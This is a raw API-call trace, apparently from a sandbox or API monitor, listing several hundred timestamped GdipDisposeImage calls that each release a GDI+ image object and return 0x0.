	[0051.056] GdipDisposeImage (image=0x78ba878) returned 0x0
	[0051.056] GdipDisposeImage (image=0x78ba530) returned 0x0
	[0051.058] GdipDisposeImage (image=0x78ba1e8) returned 0x0
	[0051.058] GdipDisposeImage (image=0x78b9ea0) returned 0x0
	[0051.058] GdipDisposeImage (image=0x78b9b58) returned 0x0
	[0051.058] GdipDisposeImage (image=0x78b9810) returned 0x0
	[0053.141] GdipDisposeImage (image=0x787db08) returned 0x0
	[0053.141] GdipDisposeImage (image=0x787d7c0) returned 0x0
	[0053.141] GdipDisposeImage (image=0x78bb8e0) returned 0x0
	[0053.141] GdipDisposeImage (image=0x78bb598) returned 0x0
	[0053.141] GdipDisposeImage (image=0x78bb250) returned 0x0
	[0053.141] GdipDisposeImage (image=0x78baf08) returned 0x0
	[0053.141] GdipDisposeImage (image=0x78babc0) returned 0x0
	[0053.141] GdipDisposeImage (image=0x78ba878) returned 0x0
	[0053.142] GdipDisposeImage (image=0x78ba530) returned 0x0
	[0053.142] GdipDisposeImage (image=0x78ba1e8) returned 0x0
	[0053.142] GdipDisposeImage (image=0x78b9ea0) returned 0x0
	[0053.142] GdipDisposeImage (image=0x78b9b58) returned 0x0
	[0053.142] GdipDisposeImage (image=0x78b9810) returned 0x0
	[0053.142] GdipDisposeImage (image=0x78b94c8) returned 0x0
	[0053.142] GdipDisposeImage (image=0x78b9180) returned 0x0
	[0053.142] GdipDisposeImage (image=0x78b8e38) returned 0x0
	[0053.143] GdipDisposeImage (image=0x78b8af0) returned 0x0
	[0053.143] GdipDisposeImage (image=0x78b87a8) returned 0x0
	[0053.143] GdipDisposeImage (image=0x78b8460) returned 0x0
	[0053.143] GdipDisposeImage (image=0x789f1c8) returned 0x0
	[0053.143] GdipDisposeImage (image=0x789ee80) returned 0x0
	[0053.143] GdipDisposeImage (image=0x789eb38) returned 0x0
	[0053.143] GdipDisposeImage (image=0x789e7f0) returned 0x0
	[0053.143] GdipDisposeImage (image=0x789e4a8) returned 0x0
	[0053.144] GdipDisposeImage (image=0x789e160) returned 0x0
	[0053.144] GdipDisposeImage (image=0x789de18) returned 0x0
	[0053.144] GdipDisposeImage (image=0x789dad0) returned 0x0
	[0053.144] GdipDisposeImage (image=0x789d788) returned 0x0
	[0053.144] GdipDisposeImage (image=0x789d440) returned 0x0
	[0053.144] GdipDisposeImage (image=0x789d0f8) returned 0x0
	[0053.144] GdipDisposeImage (image=0x789cdb0) returned 0x0
	[0053.144] GdipDisposeImage (image=0x789ca68) returned 0x0
	[0053.145] GdipDisposeImage (image=0x789c720) returned 0x0
	[0053.145] GdipDisposeImage (image=0x789c3d8) returned 0x0
	[0053.145] GdipDisposeImage (image=0x789c090) returned 0x0
	[0053.145] GdipDisposeImage (image=0x789bd48) returned 0x0
	[0053.145] GdipDisposeImage (image=0x789ba00) returned 0x0
	[0053.145] GdipDisposeImage (image=0x789b6b8) returned 0x0
	[0053.145] GdipDisposeImage (image=0x789b370) returned 0x0
	[0053.145] GdipDisposeImage (image=0x789b028) returned 0x0
	[0053.146] GdipDisposeImage (image=0x789ace0) returned 0x0
	[0053.146] GdipDisposeImage (image=0x789a998) returned 0x0
	[0053.146] GdipDisposeImage (image=0x789a650) returned 0x0
	[0053.146] GdipDisposeImage (image=0x789a308) returned 0x0
	[0053.146] GdipDisposeImage (image=0x7899fc0) returned 0x0
	[0053.146] GdipDisposeImage (image=0x7899c78) returned 0x0
	[0053.146] GdipDisposeImage (image=0x7899930) returned 0x0
	[0053.146] GdipDisposeImage (image=0x79be5c0) returned 0x0
	[0053.147] GdipDisposeImage (image=0x79be278) returned 0x0
	[0053.147] GdipDisposeImage (image=0x79bdf30) returned 0x0
	[0053.147] GdipDisposeImage (image=0x79bdbe8) returned 0x0
	[0053.147] GdipDisposeImage (image=0x79bd8a0) returned 0x0
	[0053.147] GdipDisposeImage (image=0x79bd558) returned 0x0
	[0053.147] GdipDisposeImage (image=0x79bd210) returned 0x0
	[0053.147] GdipDisposeImage (image=0x79bcec8) returned 0x0
	[0053.147] GdipDisposeImage (image=0x79bcb80) returned 0x0
	[0053.147] GdipDisposeImage (image=0x79bc838) returned 0x0
	[0053.148] GdipDisposeImage (image=0x79bc4f0) returned 0x0
	[0053.148] GdipDisposeImage (image=0x79bc1a8) returned 0x0
	[0053.148] GdipDisposeImage (image=0x79bbe60) returned 0x0
	[0053.148] GdipDisposeImage (image=0x79bbb18) returned 0x0
	[0053.148] GdipDisposeImage (image=0x79bb7d0) returned 0x0
	[0053.148] GdipDisposeImage (image=0x79bb488) returned 0x0
	[0053.148] GdipDisposeImage (image=0x79bb140) returned 0x0
	[0053.148] GdipDisposeImage (image=0x79badf8) returned 0x0
	[0053.149] GdipDisposeImage (image=0x79baab0) returned 0x0
	[0053.149] GdipDisposeImage (image=0x79ba768) returned 0x0
	[0053.149] GdipDisposeImage (image=0x79ba420) returned 0x0
	[0053.149] GdipDisposeImage (image=0x79ba0d8) returned 0x0
	[0053.149] GdipDisposeImage (image=0x79b9d90) returned 0x0
	[0053.149] GdipDisposeImage (image=0x79b9a48) returned 0x0
	[0053.149] GdipDisposeImage (image=0x79b9700) returned 0x0
	[0053.150] GdipDisposeImage (image=0x79b93b8) returned 0x0
	[0053.150] GdipDisposeImage (image=0x79b9070) returned 0x0
	[0053.150] GdipDisposeImage (image=0x79b8d28) returned 0x0
	[0053.150] GdipDisposeImage (image=0x79b89e0) returned 0x0
	[0053.150] GdipDisposeImage (image=0x79b8698) returned 0x0
	[0053.150] GdipDisposeImage (image=0x79b8350) returned 0x0
	[0053.150] GdipDisposeImage (image=0x79b8008) returned 0x0
	[0053.150] GdipDisposeImage (image=0x79b7cc0) returned 0x0
	[0053.151] GdipDisposeImage (image=0x79b06a0) returned 0x0
	[0053.151] GdipDisposeImage (image=0x79b0358) returned 0x0
	[0053.151] GdipDisposeImage (image=0x79b0010) returned 0x0
	[0053.151] GdipDisposeImage (image=0x79afcc8) returned 0x0
	[0053.151] GdipDisposeImage (image=0x79af980) returned 0x0
	[0053.151] GdipDisposeImage (image=0x79af638) returned 0x0
	[0053.151] GdipDisposeImage (image=0x79af2f0) returned 0x0
	[0053.151] GdipDisposeImage (image=0x79aefa8) returned 0x0
	[0053.151] GdipDisposeImage (image=0x79aec60) returned 0x0
	[0053.152] GdipDisposeImage (image=0x79b7978) returned 0x0
	[0053.152] GdipDisposeImage (image=0x79b7630) returned 0x0
	[0053.152] GdipDisposeImage (image=0x79b72e8) returned 0x0
	[0053.152] GdipDisposeImage (image=0x79b6fa0) returned 0x0
	[0053.152] GdipDisposeImage (image=0x79b6c58) returned 0x0
	[0053.152] GdipDisposeImage (image=0x79b6910) returned 0x0
	[0053.152] GdipDisposeImage (image=0x79b65c8) returned 0x0
	[0053.152] GdipDisposeImage (image=0x79b6280) returned 0x0
	[0053.152] GdipDisposeImage (image=0x79b5f38) returned 0x0
	[0053.152] GdipDisposeImage (image=0x79b5bf0) returned 0x0
	[0053.153] GdipDisposeImage (image=0x79b58a8) returned 0x0
	[0053.153] GdipDisposeImage (image=0x79b5560) returned 0x0
	[0053.153] GdipDisposeImage (image=0x79b5218) returned 0x0
	[0053.153] GdipDisposeImage (image=0x79b4ed0) returned 0x0
	[0053.153] GdipDisposeImage (image=0x79b4b88) returned 0x0
	[0053.153] GdipDisposeImage (image=0x79b4840) returned 0x0
	[0053.153] GdipDisposeImage (image=0x79b44f8) returned 0x0
	[0053.153] GdipDisposeImage (image=0x79b41b0) returned 0x0
	[0053.153] GdipDisposeImage (image=0x79b3e68) returned 0x0
	[0053.153] GdipDisposeImage (image=0x79b3b20) returned 0x0
	[0053.154] GdipDisposeImage (image=0x79b37d8) returned 0x0
	[0053.154] GdipDisposeImage (image=0x79b3490) returned 0x0
	[0053.154] GdipDisposeImage (image=0x79b3148) returned 0x0
	[0053.154] GdipDisposeImage (image=0x79b2e00) returned 0x0
	[0053.154] GdipDisposeImage (image=0x79b2ab8) returned 0x0
	[0053.154] GdipDisposeImage (image=0x79b2770) returned 0x0
	[0053.154] GdipDisposeImage (image=0x79b2428) returned 0x0
	[0053.154] GdipDisposeImage (image=0x79b20e0) returned 0x0
	[0053.154] GdipDisposeImage (image=0x79b1d98) returned 0x0
	[0053.154] GdipDisposeImage (image=0x79b1a50) returned 0x0
	[0053.155] GdipDisposeImage (image=0x79b1708) returned 0x0
	[0053.155] GdipDisposeImage (image=0x79b13c0) returned 0x0
	[0053.155] GdipDisposeImage (image=0x79b1078) returned 0x0
	[0053.155] GdipDisposeImage (image=0x79b0d30) returned 0x0
	[0053.155] GdipDisposeImage (image=0x787d478) returned 0x0
	[0053.155] GdipDisposeImage (image=0x787d130) returned 0x0
	[0053.155] GdipDisposeImage (image=0x787cde8) returned 0x0
	[0053.155] GdipDisposeImage (image=0x787caa0) returned 0x0
	[0053.155] GdipDisposeImage (image=0x787c758) returned 0x0
	[0053.156] GdipDisposeImage (image=0x787c410) returned 0x0
	[0053.156] GdipDisposeImage (image=0x787c0c8) returned 0x0
	[0053.156] GdipDisposeImage (image=0x787bd80) returned 0x0
	[0053.156] GdipDisposeImage (image=0x787ba38) returned 0x0
	[0053.156] GdipDisposeImage (image=0x787b6f0) returned 0x0
	[0053.156] GdipDisposeImage (image=0x787b3a8) returned 0x0
	[0053.156] GdipDisposeImage (image=0x787b060) returned 0x0
	[0053.156] GdipDisposeImage (image=0x78621c8) returned 0x0
	[0053.156] GdipDisposeImage (image=0x7861e80) returned 0x0
	[0053.156] GdipDisposeImage (image=0x7861b38) returned 0x0
	[0053.157] GdipDisposeImage (image=0x78617f0) returned 0x0
	[0053.157] GdipDisposeImage (image=0x78614a8) returned 0x0
	[0053.157] GdipDisposeImage (image=0x7861160) returned 0x0
	[0053.157] GdipDisposeImage (image=0x7860e18) returned 0x0
	[0053.157] GdipDisposeImage (image=0x7860ad0) returned 0x0
	[0053.157] GdipDisposeImage (image=0x7860788) returned 0x0
	[0053.157] GdipDisposeImage (image=0x7860440) returned 0x0
	[0053.157] GdipDisposeImage (image=0x78600f8) returned 0x0
	[0053.158] GdipDisposeImage (image=0x785fdb0) returned 0x0
	[0053.158] GdipDisposeImage (image=0x785fa68) returned 0x0
	[0053.158] GdipDisposeImage (image=0x785f720) returned 0x0
	[0053.158] GdipDisposeImage (image=0x785f3d8) returned 0x0
	[0053.158] GdipDisposeImage (image=0x785f090) returned 0x0
	[0053.158] GdipDisposeImage (image=0x785ed48) returned 0x0
	[0053.158] GdipDisposeImage (image=0x785ea00) returned 0x0
	[0053.158] GdipDisposeImage (image=0x785e6b8) returned 0x0
	[0053.158] GdipDisposeImage (image=0x785e370) returned 0x0
	[0053.158] GdipDisposeImage (image=0x785e028) returned 0x0
	[0053.159] GdipDisposeImage (image=0x785dce0) returned 0x0
	[0053.159] GdipDisposeImage (image=0x785d998) returned 0x0
	[0053.159] GdipDisposeImage (image=0x785d650) returned 0x0
	[0053.159] GdipDisposeImage (image=0x785d308) returned 0x0
	[0053.159] GdipDisposeImage (image=0x785cfc0) returned 0x0
	[0053.159] GdipDisposeImage (image=0x785cc78) returned 0x0
	[0053.159] GdipDisposeImage (image=0x785c930) returned 0x0
	[0053.159] GdipDisposeImage (image=0x785c5e8) returned 0x0
	[0053.159] GdipDisposeImage (image=0x785c2a0) returned 0x0
	[0053.160] GdipDisposeImage (image=0x785bf58) returned 0x0
	[0053.160] GdipDisposeImage (image=0x785bc10) returned 0x0
	[0053.160] GdipDisposeImage (image=0x785b8c8) returned 0x0
	[0053.160] GdipDisposeImage (image=0x785b580) returned 0x0
	[0053.160] GdipDisposeImage (image=0x785b238) returned 0x0
	[0053.160] GdipDisposeImage (image=0x785aef0) returned 0x0
	[0053.160] GdipDisposeImage (image=0x785aba8) returned 0x0
	[0053.160] GdipDisposeImage (image=0x785a860) returned 0x0
	[0053.160] GdipDisposeImage (image=0x78441c8) returned 0x0
	[0053.160] GdipDisposeImage (image=0x7843e80) returned 0x0
	[0053.161] GdipDisposeImage (image=0x7843b38) returned 0x0
	[0053.162] GdipDisposeImage (image=0x78437f0) returned 0x0
	[0053.163] GdipDisposeImage (image=0x78434a8) returned 0x0
	[0053.163] GdipDisposeImage (image=0x7843160) returned 0x0
	[0053.163] GdipDisposeImage (image=0x7842e18) returned 0x0
	[0053.163] GdipDisposeImage (image=0x7842ad0) returned 0x0
	[0053.163] GdipDisposeImage (image=0x7842788) returned 0x0
	[0053.163] GdipDisposeImage (image=0x7842440) returned 0x0
	[0053.163] GdipDisposeImage (image=0x78420f8) returned 0x0
	[0053.163] GdipDisposeImage (image=0x7841db0) returned 0x0
	[0053.163] GdipDisposeImage (image=0x7841a68) returned 0x0
	[0053.164] GdipDisposeImage (image=0x7841720) returned 0x0
	[0053.164] GdipDisposeImage (image=0x78413d8) returned 0x0
	[0053.164] GdipDisposeImage (image=0x7841090) returned 0x0
	[0053.164] GdipDisposeImage (image=0x7840d48) returned 0x0
	[0053.164] GdipDisposeImage (image=0x7840a00) returned 0x0
	[0053.164] GdipDisposeImage (image=0x78406b8) returned 0x0
	[0053.164] GdipDisposeImage (image=0x7840370) returned 0x0
	[0053.164] GdipDisposeImage (image=0x7840028) returned 0x0
	[0053.165] GdipDisposeImage (image=0x783fce0) returned 0x0
	[0053.165] GdipDisposeImage (image=0x783f998) returned 0x0
	[0053.165] GdipDisposeImage (image=0x783f650) returned 0x0
	[0053.165] GdipDisposeImage (image=0x783f308) returned 0x0
	[0053.165] GdipDisposeImage (image=0x783efc0) returned 0x0
	[0053.165] GdipDisposeImage (image=0x783ec78) returned 0x0
	[0053.165] GdipDisposeImage (image=0x783e930) returned 0x0
	[0053.165] GdipDisposeImage (image=0x783e5e8) returned 0x0
	[0053.166] GdipDisposeImage (image=0x783e2a0) returned 0x0
	[0053.166] GdipDisposeImage (image=0x783df58) returned 0x0
	[0053.166] GdipDisposeImage (image=0x783dc10) returned 0x0
	[0053.166] GdipDisposeImage (image=0x783d8c8) returned 0x0
	[0053.166] GdipDisposeImage (image=0x783d580) returned 0x0
	[0053.166] GdipDisposeImage (image=0x783d238) returned 0x0
	[0053.166] GdipDisposeImage (image=0x783cef0) returned 0x0
	[0053.166] GdipDisposeImage (image=0x783cba8) returned 0x0
	[0053.166] GdipDisposeImage (image=0x783c860) returned 0x0
	[0053.167] GdipDisposeImage (image=0x7828370) returned 0x0
	[0053.167] GdipDisposeImage (image=0x7828028) returned 0x0
	[0053.167] GdipDisposeImage (image=0x7827ce0) returned 0x0
	[0053.167] GdipDisposeImage (image=0x7827998) returned 0x0
	[0053.167] GdipDisposeImage (image=0x7827650) returned 0x0
	[0053.167] GdipDisposeImage (image=0x7827308) returned 0x0
	[0053.167] GdipDisposeImage (image=0x7826fc0) returned 0x0
	[0053.167] GdipDisposeImage (image=0x7826c78) returned 0x0
	[0053.167] GdipDisposeImage (image=0x7826930) returned 0x0
	[0053.167] GdipDisposeImage (image=0x78265e8) returned 0x0
	[0053.168] GdipDisposeImage (image=0x78262a0) returned 0x0
	[0053.168] GdipDisposeImage (image=0x7825f58) returned 0x0
	[0053.168] GdipDisposeImage (image=0x7825c10) returned 0x0
	[0053.168] GdipDisposeImage (image=0x78258c8) returned 0x0
	[0053.168] GdipDisposeImage (image=0x7825580) returned 0x0
	[0053.168] GdipDisposeImage (image=0x7825238) returned 0x0
	[0053.168] GdipDisposeImage (image=0x7824ef0) returned 0x0
	[0053.168] GdipDisposeImage (image=0x7824ba8) returned 0x0
	[0053.168] GdipDisposeImage (image=0x7824860) returned 0x0
	[0053.169] GdipDisposeImage (image=0x7813b70) returned 0x0
	[0053.169] GdipDisposeImage (image=0x7813828) returned 0x0
	[0053.169] GdipDisposeImage (image=0x78134e0) returned 0x0
	[0053.169] GdipDisposeImage (image=0x7813198) returned 0x0
	[0053.169] GdipDisposeImage (image=0x7812e50) returned 0x0
	[0053.169] GdipDisposeImage (image=0x7812b08) returned 0x0
	[0053.169] GdipDisposeImage (image=0x78127c0) returned 0x0
	[0053.169] GdipDisposeImage (image=0x7812478) returned 0x0
	[0053.169] GdipDisposeImage (image=0x7812130) returned 0x0
	[0053.170] GdipDisposeImage (image=0x7811de8) returned 0x0
	[0053.170] GdipDisposeImage (image=0x7811aa0) returned 0x0
	[0053.170] GdipDisposeImage (image=0x7811758) returned 0x0
	[0053.170] GdipDisposeImage (image=0x7811410) returned 0x0
	[0053.170] GdipDisposeImage (image=0x78110c8) returned 0x0
	[0053.170] GdipDisposeImage (image=0x7810d80) returned 0x0
	[0053.170] GdipDisposeImage (image=0x7810a38) returned 0x0
	[0053.170] GdipDisposeImage (image=0x78106f0) returned 0x0
	[0053.171] GdipDisposeImage (image=0x78103a8) returned 0x0
	[0053.171] GdipDisposeImage (image=0x7810060) returned 0x0
	[0053.171] GdipDisposeImage (image=0x759ff20) returned 0x0
	[0053.171] GdipDisposeImage (image=0x759fbd8) returned 0x0
	[0053.171] GdipDisposeImage (image=0x759f890) returned 0x0
	[0053.171] GdipDisposeImage (image=0x759f548) returned 0x0
	[0053.171] GdipDisposeImage (image=0x759f200) returned 0x0
	[0053.173] GdipDisposeImage (image=0x759eeb8) returned 0x0
	[0053.173] GdipDisposeImage (image=0x759eb70) returned 0x0
	[0053.174] GdipDisposeImage (image=0x759e828) returned 0x0
	[0053.174] GdipDisposeImage (image=0x759e4e0) returned 0x0
	[0053.174] GdipDisposeImage (image=0x759e198) returned 0x0
	[0053.174] GdipDisposeImage (image=0x759de50) returned 0x0
	[0053.174] GdipDisposeImage (image=0x759db08) returned 0x0
	[0053.174] GdipDisposeImage (image=0x759d7c0) returned 0x0
	[0053.174] GdipDisposeImage (image=0x759d478) returned 0x0
	[0053.174] GdipDisposeImage (image=0x759d130) returned 0x0
	[0053.174] GdipDisposeImage (image=0x759cde8) returned 0x0
	[0053.174] GdipDisposeImage (image=0x759caa0) returned 0x0
	[0053.175] GdipDisposeImage (image=0x759c758) returned 0x0
	[0053.176] GdipDisposeImage (image=0x759c410) returned 0x0
	[0053.177] GdipDisposeImage (image=0x7591720) returned 0x0
	[0053.177] GdipDisposeImage (image=0x75913d8) returned 0x0
	[0053.177] GdipDisposeImage (image=0x7591090) returned 0x0
	[0053.177] GdipDisposeImage (image=0x7590d48) returned 0x0
	[0053.177] GdipDisposeImage (image=0x7590a00) returned 0x0
	[0053.177] GdipDisposeImage (image=0x75906b8) returned 0x0
	[0053.177] GdipDisposeImage (image=0x7590370) returned 0x0
	[0053.177] GdipDisposeImage (image=0x7590028) returned 0x0
	[0053.177] GdipDisposeImage (image=0x758fce0) returned 0x0
	[0053.177] GdipDisposeImage (image=0x758f998) returned 0x0
	[0053.178] GdipDisposeImage (image=0x758f650) returned 0x0
	[0053.178] GdipDisposeImage (image=0x758f308) returned 0x0
	[0053.178] GdipDisposeImage (image=0x758efc0) returned 0x0
	[0053.178] GdipDisposeImage (image=0x758ec78) returned 0x0
	[0053.178] GdipDisposeImage (image=0x758e930) returned 0x0
	[0053.178] GdipDisposeImage (image=0x758e5e8) returned 0x0
	[0053.178] GdipDisposeImage (image=0x758e2a0) returned 0x0
	[0053.178] GdipDisposeImage (image=0x758df58) returned 0x0
	[0053.178] GdipDisposeImage (image=0x758dc10) returned 0x0
	[0053.179] GdipDisposeImage (image=0x7581720) returned 0x0
	[0053.179] GdipDisposeImage (image=0x75813d8) returned 0x0
	[0053.179] GdipDisposeImage (image=0x7581090) returned 0x0
	[0053.179] GdipDisposeImage (image=0x7580d48) returned 0x0
	[0053.179] GdipDisposeImage (image=0x7580a00) returned 0x0
	[0053.180] GdipDisposeImage (image=0x75806b8) returned 0x0
	[0053.180] GdipDisposeImage (image=0x7580370) returned 0x0
	[0053.180] GdipDisposeImage (image=0x7580028) returned 0x0
	[0053.180] GdipDisposeImage (image=0x757fce0) returned 0x0
	[0053.180] GdipDisposeImage (image=0x757f998) returned 0x0
	[0053.180] GdipDisposeImage (image=0x757f650) returned 0x0
	[0053.181] GdipDisposeImage (image=0x757f308) returned 0x0
	[0053.181] GdipDisposeImage (image=0x757efc0) returned 0x0
	[0053.181] GdipDisposeImage (image=0x757ec78) returned 0x0
	[0053.181] GdipDisposeImage (image=0x757e930) returned 0x0
	[0053.181] GdipDisposeImage (image=0x757e5e8) returned 0x0
	[0053.181] GdipDisposeImage (image=0x757e2a0) returned 0x0
	[0053.181] GdipDisposeImage (image=0x757df58) returned 0x0
	[0053.181] GdipDisposeImage (image=0x757dc10) returned 0x0
	[0053.181] GdipDisposeImage (image=0x7572f20) returned 0x0
	[0053.181] GdipDisposeImage (image=0x7572bd8) returned 0x0
	[0053.182] GdipDisposeImage (image=0x7572890) returned 0x0
	[0053.182] GdipDisposeImage (image=0x7572548) returned 0x0
	[0053.182] GdipDisposeImage (image=0x7572200) returned 0x0
	[0053.182] GdipDisposeImage (image=0x7571eb8) returned 0x0
	[0053.182] GdipDisposeImage (image=0x7571b70) returned 0x0
	[0053.182] GdipDisposeImage (image=0x7571828) returned 0x0
	[0053.182] GdipDisposeImage (image=0x75714e0) returned 0x0
	[0053.182] GdipDisposeImage (image=0x7571198) returned 0x0
	[0053.182] GdipDisposeImage (image=0x7570e50) returned 0x0
	[0053.183] GdipDisposeImage (image=0x7570b08) returned 0x0
	[0053.183] GdipDisposeImage (image=0x75707c0) returned 0x0
	[0053.183] GdipDisposeImage (image=0x7570478) returned 0x0
	[0053.183] GdipDisposeImage (image=0x7570130) returned 0x0
	[0053.184] GdipDisposeImage (image=0x756fde8) returned 0x0
	[0053.184] GdipDisposeImage (image=0x756faa0) returned 0x0
	[0053.184] GdipDisposeImage (image=0x756f758) returned 0x0
	[0053.184] GdipDisposeImage (image=0x756f410) returned 0x0
	[0053.184] GdipDisposeImage (image=0x7562f20) returned 0x0
	[0053.184] GdipDisposeImage (image=0x7562bd8) returned 0x0
	[0053.184] GdipDisposeImage (image=0x7562890) returned 0x0
	[0053.184] GdipDisposeImage (image=0x7562548) returned 0x0
	[0053.185] GdipDisposeImage (image=0x7562200) returned 0x0
	[0053.185] GdipDisposeImage (image=0x7561eb8) returned 0x0
	[0053.185] GdipDisposeImage (image=0x7561b70) returned 0x0
	[0053.185] GdipDisposeImage (image=0x7561828) returned 0x0
	[0053.185] GdipDisposeImage (image=0x75614e0) returned 0x0
	[0053.185] GdipDisposeImage (image=0x7561198) returned 0x0
	[0053.185] GdipDisposeImage (image=0x7560e50) returned 0x0
	[0053.185] GdipDisposeImage (image=0x7560b08) returned 0x0
	[0053.186] GdipDisposeImage (image=0x75607c0) returned 0x0
	[0053.186] GdipDisposeImage (image=0x7560478) returned 0x0
	[0053.186] GdipDisposeImage (image=0x7560130) returned 0x0
	[0053.186] GdipDisposeImage (image=0x755fde8) returned 0x0
	[0053.186] GdipDisposeImage (image=0x755faa0) returned 0x0
	[0053.186] GdipDisposeImage (image=0x755f758) returned 0x0
	[0053.186] GdipDisposeImage (image=0x755f410) returned 0x0
	[0053.189] GdipDisposeImage (image=0x7554720) returned 0x0
	[0053.189] GdipDisposeImage (image=0x75543d8) returned 0x0
	[0053.189] GdipDisposeImage (image=0x7554090) returned 0x0
	[0053.189] GdipDisposeImage (image=0x7553d48) returned 0x0
	[0053.189] GdipDisposeImage (image=0x7553a00) returned 0x0
	[0053.189] GdipDisposeImage (image=0x75536b8) returned 0x0
	[0053.189] GdipDisposeImage (image=0x7553370) returned 0x0
	[0053.189] GdipDisposeImage (image=0x7553028) returned 0x0
	[0053.190] GdipDisposeImage (image=0x7552ce0) returned 0x0
	[0053.190] GdipDisposeImage (image=0x7552998) returned 0x0
	[0053.190] GdipDisposeImage (image=0x7552650) returned 0x0
	[0053.191] GdipDisposeImage (image=0x7552308) returned 0x0
	[0053.191] GdipDisposeImage (image=0x7551fc0) returned 0x0
	[0053.192] GdipDisposeImage (image=0x7551c78) returned 0x0
	[0053.193] GdipDisposeImage (image=0x7551930) returned 0x0
	[0053.193] GdipDisposeImage (image=0x75515e8) returned 0x0
	[0053.193] GdipDisposeImage (image=0x75512a0) returned 0x0
	[0053.193] GdipDisposeImage (image=0x7550f58) returned 0x0
	[0053.193] GdipDisposeImage (image=0x7550c10) returned 0x0
	[0053.194] GdipDisposeImage (image=0x7542720) returned 0x0
	[0053.194] GdipDisposeImage (image=0x75423d8) returned 0x0
	[0053.195] GdipDisposeImage (image=0x7542090) returned 0x0
	[0053.195] GdipDisposeImage (image=0x7541d48) returned 0x0
	[0053.195] GdipDisposeImage (image=0x7541a00) returned 0x0
	[0053.195] GdipDisposeImage (image=0x75416b8) returned 0x0
	[0053.195] GdipDisposeImage (image=0x7541370) returned 0x0
	[0053.195] GdipDisposeImage (image=0x7541028) returned 0x0
	[0053.195] GdipDisposeImage (image=0x7540ce0) returned 0x0
	[0053.196] GdipDisposeImage (image=0x7540998) returned 0x0
	[0053.196] GdipDisposeImage (image=0x7540650) returned 0x0
	[0053.196] GdipDisposeImage (image=0x7540308) returned 0x0
	[0053.198] GdipDisposeImage (image=0x753ffc0) returned 0x0
	[0053.198] GdipDisposeImage (image=0x753fc78) returned 0x0
	[0053.199] GdipDisposeImage (image=0x753f930) returned 0x0
	[0053.199] GdipDisposeImage (image=0x753f5e8) returned 0x0
	[0053.201] GdipDisposeImage (image=0x753f2a0) returned 0x0
	[0053.201] GdipDisposeImage (image=0x753ef58) returned 0x0
	[0053.201] GdipDisposeImage (image=0x753ec10) returned 0x0
	[0053.202] GdipDisposeImage (image=0x7535b20) returned 0x0
	[0053.202] GdipDisposeImage (image=0x75357d8) returned 0x0
	[0053.202] GdipDisposeImage (image=0x7535490) returned 0x0
	[0053.202] GdipDisposeImage (image=0x7535148) returned 0x0
	[0053.202] GdipDisposeImage (image=0x7534e00) returned 0x0
	[0053.203] GdipDisposeImage (image=0x7534ab8) returned 0x0
	[0053.203] GdipDisposeImage (image=0x7534770) returned 0x0
	[0053.203] GdipDisposeImage (image=0x7534428) returned 0x0
	[0053.203] GdipDisposeImage (image=0x75340e0) returned 0x0
	[0053.203] GdipDisposeImage (image=0x7533d98) returned 0x0
	[0053.203] GdipDisposeImage (image=0x7533a50) returned 0x0
	[0053.203] GdipDisposeImage (image=0x7533708) returned 0x0
	[0053.203] GdipDisposeImage (image=0x75333c0) returned 0x0
	[0053.204] GdipDisposeImage (image=0x7533078) returned 0x0
	[0053.204] GdipDisposeImage (image=0x7532d30) returned 0x0
	[0053.204] GdipDisposeImage (image=0x75329e8) returned 0x0
	[0053.204] GdipDisposeImage (image=0x75326a0) returned 0x0
	[0053.204] GdipDisposeImage (image=0x7532358) returned 0x0
	[0053.204] GdipDisposeImage (image=0x7532010) returned 0x0
	[0053.205] GdipDisposeImage (image=0x7525b20) returned 0x0
	[0053.205] GdipDisposeImage (image=0x75257d8) returned 0x0
	[0053.205] GdipDisposeImage (image=0x7525490) returned 0x0
	[0053.205] GdipDisposeImage (image=0x7525148) returned 0x0
	[0053.205] GdipDisposeImage (image=0x7524e00) returned 0x0
	[0053.205] GdipDisposeImage (image=0x7524ab8) returned 0x0
	[0053.206] GdipDisposeImage (image=0x7524770) returned 0x0
	[0053.206] GdipDisposeImage (image=0x7524428) returned 0x0
	[0053.206] GdipDisposeImage (image=0x75240e0) returned 0x0
	[0053.206] GdipDisposeImage (image=0x7523d98) returned 0x0
	[0053.207] GdipDisposeImage (image=0x7523a50) returned 0x0
	[0053.207] GdipDisposeImage (image=0x7523708) returned 0x0
	[0053.207] GdipDisposeImage (image=0x75233c0) returned 0x0
	[0053.208] GdipDisposeImage (image=0x7523078) returned 0x0
	[0053.208] GdipDisposeImage (image=0x7522d30) returned 0x0
	[0053.208] GdipDisposeImage (image=0x75229e8) returned 0x0
	[0053.208] GdipDisposeImage (image=0x75226a0) returned 0x0
	[0053.208] GdipDisposeImage (image=0x7522358) returned 0x0
	[0053.208] GdipDisposeImage (image=0x7522010) returned 0x0
	[0053.208] GdipDisposeImage (image=0x7515320) returned 0x0
	[0053.209] GdipDisposeImage (image=0x7514fd8) returned 0x0
	[0053.209] GdipDisposeImage (image=0x7514c90) returned 0x0
	[0053.209] GdipDisposeImage (image=0x7514948) returned 0x0
	[0053.209] GdipDisposeImage (image=0x7514600) returned 0x0
	[0053.209] GdipDisposeImage (image=0x75142b8) returned 0x0
	[0053.209] GdipDisposeImage (image=0x7513f70) returned 0x0
	[0053.210] GdipDisposeImage (image=0x7513c28) returned 0x0
	[0053.210] GdipDisposeImage (image=0x75138e0) returned 0x0
	[0053.212] GdipDisposeImage (image=0x7513598) returned 0x0
	[0053.212] GdipDisposeImage (image=0x7513250) returned 0x0
	[0053.212] GdipDisposeImage (image=0x7512f08) returned 0x0
	[0053.213] GdipDisposeImage (image=0x7512bc0) returned 0x0
	[0053.213] GdipDisposeImage (image=0x7512878) returned 0x0
	[0053.213] GdipDisposeImage (image=0x7512530) returned 0x0
	[0053.215] GdipDisposeImage (image=0x75121e8) returned 0x0
	[0053.215] GdipDisposeImage (image=0x7511ea0) returned 0x0
	[0053.215] GdipDisposeImage (image=0x7511b58) returned 0x0
	[0053.215] GdipDisposeImage (image=0x7511810) returned 0x0
	[0053.216] GdipDisposeImage (image=0x7505320) returned 0x0
	[0053.216] GdipDisposeImage (image=0x7504fd8) returned 0x0
	[0053.216] GdipDisposeImage (image=0x7504c90) returned 0x0
	[0053.216] GdipDisposeImage (image=0x7504948) returned 0x0
	[0053.216] GdipDisposeImage (image=0x7504600) returned 0x0
	[0053.216] GdipDisposeImage (image=0x75042b8) returned 0x0
	[0053.216] GdipDisposeImage (image=0x7503f70) returned 0x0
	[0053.216] GdipDisposeImage (image=0x7503c28) returned 0x0
	[0053.217] GdipDisposeImage (image=0x75038e0) returned 0x0
	[0053.217] GdipDisposeImage (image=0x7503598) returned 0x0
